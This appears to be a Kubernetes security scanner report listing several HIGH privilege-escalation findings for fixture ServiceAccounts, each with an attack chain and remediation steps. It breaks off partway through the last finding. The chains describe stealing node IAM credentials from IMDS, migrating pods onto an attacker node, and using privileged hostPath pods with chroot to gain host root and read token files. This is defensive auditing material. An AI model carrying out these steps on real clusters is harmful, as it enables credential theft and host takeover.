HIGH ServiceAccount/lp-fixtures/sa-lp-orphan Cluster 8.5
ServiceAccount/lp-fixtures/sa-lp-orphan can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/lp-fixtures/sa-lp-orphan → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-orphan

Subject ServiceAccount/lp-fixtures/sa-lp-orphan has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/lp-fixtures/sa-lp-orphan → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-orphan-app-68d649f6c5-qsjpw falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/lp-fixtures/sa-lp-orphan yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/lp-fixtures/sa-lp-orphan.
  2. Acting as ServiceAccount/lp-fixtures/sa-lp-orphan, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod lp-fixtures/lp-orphan-app-68d649f6c5-qsjpw falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-orphan
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-orphan-app-68d649f6c5-qsjpw falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-orphan → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-orphan → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/lp-fixtures/sa-lp-wildcard Cluster 8.5
ServiceAccount/lp-fixtures/sa-lp-wildcard can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/lp-fixtures/sa-lp-wildcard → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/lp-fixtures/sa-lp-wildcard

Subject ServiceAccount/lp-fixtures/sa-lp-wildcard has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/lp-fixtures/sa-lp-wildcard → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2 falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/lp-fixtures/sa-lp-wildcard yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/lp-fixtures/sa-lp-wildcard.
  2. Acting as ServiceAccount/lp-fixtures/sa-lp-wildcard, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2 falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/lp-fixtures/sa-lp-wildcard
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod lp-fixtures/lp-wildcard-app-7bb4d99f67-6ggf2 falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-wildcard → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/lp-fixtures/sa-lp-wildcard → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/netpol-imds/default Cluster 8.5
ServiceAccount/netpol-imds/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/netpol-imds/default → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/netpol-imds/default

Subject ServiceAccount/netpol-imds/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/netpol-imds/default → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod netpol-imds/imds-allow-app-7f9f6cb9df-k2q2n falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/netpol-imds/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/netpol-imds/default.
  2. Acting as ServiceAccount/netpol-imds/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod netpol-imds/imds-allow-app-7f9f6cb9df-k2q2n falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/netpol-imds/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod netpol-imds/imds-allow-app-7f9f6cb9df-k2q2n falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/netpol-imds/default → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/netpol-imds/default → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/privesc-fixtures/sa-node-migrate Cluster 8.5
ServiceAccount/privesc-fixtures/sa-node-migrate can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-node-migrate → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-node-migrate

Subject ServiceAccount/privesc-fixtures/sa-node-migrate has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-node-migrate → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-node-migrate yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-node-migrate.
  2. Acting as ServiceAccount/privesc-fixtures/sa-node-migrate, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/privesc-fixtures/sa-node-migrate
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/privesc-fixtures/sa-node-migrate → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/privesc-fixtures/sa-node-migrate → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath Cluster 8.5
ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath

Subject ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-zqvzl falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath.
  2. Acting as ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-zqvzl falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod pv-hostpath-fixtures/pv-hostpath-app-5bb7f7676-zqvzl falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/pv-hostpath-fixtures/sa-pv-hostpath → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/rbac-fixtures/sa-cluster-admin Cluster 8.5
ServiceAccount/rbac-fixtures/sa-cluster-admin can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-cluster-admin → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-cluster-admin

Subject ServiceAccount/rbac-fixtures/sa-cluster-admin has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-cluster-admin → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-cluster-admin yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-cluster-admin.
  2. Acting as ServiceAccount/rbac-fixtures/sa-cluster-admin, the attacker uses the node_drain_migrate technique via delete pods + update nodes/status, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Migrate pods onto an attacker node node_drain_migrate

    A way to remove pods (delete pods, deletecollection pods, or create pods/eviction) combined with cluster-scoped node control (update/patch on nodes, which is what kubectl cordon and kubectl taint use; update/patch on nodes/status; or delete nodes) lets an attacker cordon, taint, or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/rbac-fixtures/sa-cluster-admin
    Permission granted delete pods + update nodes/status
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/rbac-fixtures/sa-cluster-admin → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission delete pods + update nodes/status that enables the first hop (ServiceAccount/rbac-fixtures/sa-cluster-admin → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/rbac-fixtures/sa-impersonate Cluster 8.5
ServiceAccount/rbac-fixtures/sa-impersonate can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-impersonate → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-impersonate

Subject ServiceAccount/rbac-fixtures/sa-impersonate has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-impersonate → / via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod rbac-fixtures/imp-app-5f78d6bb9d-bxmxv falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-impersonate yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-impersonate.
  2. Acting as ServiceAccount/rbac-fixtures/sa-impersonate, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod rbac-fixtures/imp-app-5f78d6bb9d-bxmxv falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/rbac-fixtures/sa-impersonate
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod rbac-fixtures/imp-app-5f78d6bb9d-bxmxv falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/rbac-fixtures/sa-impersonate → /).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/rbac-fixtures/sa-impersonate → /).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
HIGH ServiceAccount/rbac-fixtures/sa-wildcard Cluster 8.5
ServiceAccount/rbac-fixtures/sa-wildcard can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-wildcard → node escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard

Subject ServiceAccount/rbac-fixtures/sa-wildcard has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-wildcard → / via node_drain_migrate (delete pods + update nodes/status): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-wildcard yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

